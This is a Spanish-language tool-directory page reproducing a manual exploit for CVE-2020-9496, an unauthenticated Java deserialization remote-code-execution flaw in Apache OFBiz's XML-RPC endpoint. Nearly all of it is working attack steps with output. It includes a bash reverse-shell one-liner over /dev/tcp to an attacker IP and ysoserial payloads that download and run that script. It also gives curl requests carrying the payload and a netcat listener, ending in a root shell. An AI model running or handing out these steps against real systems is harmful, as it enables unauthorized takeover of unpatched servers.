Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-9496 — Exploit manual para CVE-2020-9496, una RCE de deserialización de Java no autenticada en Apache OFBiz XML-RPC, con instrucciones paso a paso para la generación de payloads y reverse shell. | Kitploit
Herramientas/GitHubGitHub/cyber-niz/cve-2020-9496
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Exploit manual para CVE-2020-9496, una RCE de deserialización de Java no autenticada en Apache OFBiz XML-RPC, con instrucciones paso a paso para la generación de payloads y reverse shell.

Ver Repositorio
hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-9496 - RCE

Debido a que las 2 solicitudes relacionadas con xmlrpc en webtools (xmlrpc y ping) no utilizan autenticación, son vulnerables a una deserialización insegura. Este problema fue reportado al equipo de seguridad por Alvaro Munoz [email protected] del equipo de GitHub Security Lab.

Esta vulnerabilidad existe debido a problemas de serialización de Java al procesar solicitudes enviadas a /webtools/control/xmlrpc. Un atacante remoto no autenticado puede explotar esta vulnerabilidad enviando una solicitud manipulada. Una explotación exitosa resultaría en la ejecución arbitraria de código.

Versión afectada 17.12.01

Versiones corregidas 18.12.01, 17.12.04

Blog original: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Para que este POC funcione, necesitamos colocar un script de shell y ejecutar/acceder a ese archivo mediante curl.

PASO 1: Crea un archivo shell con un one-liner de Bash con tu dirección IP y puerto.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

PASO 2: Ahora necesitamos hacer que este archivo esté disponible a través del servicio HTTP

root@kitploit:~
$ sudo python3 -m http.server 80

PASO 3: Genera el payload con ysoserial - Cambia la IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

PASO 4: Copia la salida de tu payload - Cadena muy larga

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

PASO 5: Usa el siguiente comando curl para ejecutar nuestro payload. Pega el payload después de extensions”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Comando curl sin payload para tu referencia

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Asegúrate de que recibes una petición en el servidor HTTP después de ejecutar el comando curl

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Como puedes ver, tuvimos un hit en nuestro servidor HTTP. El archivo se ha descargado en el directorio /tmp con el nombre shell.sh. Ahora, para ejecutar ese archivo, crea el payload nuevamente. Pero antes de hacer eso, inicia un listener de netcat.

PASO 6: Inicia el listener de NetCat

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

PASO 7: Crea un payload para ejecutar el script de shell descargado anteriormente

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

PASO 8: Copia y pega la salida dentro del comando curl y ejecútalo

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

PASO 10: Comprueba el listener de NetCat para la conexión inversa

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Descargar herramienta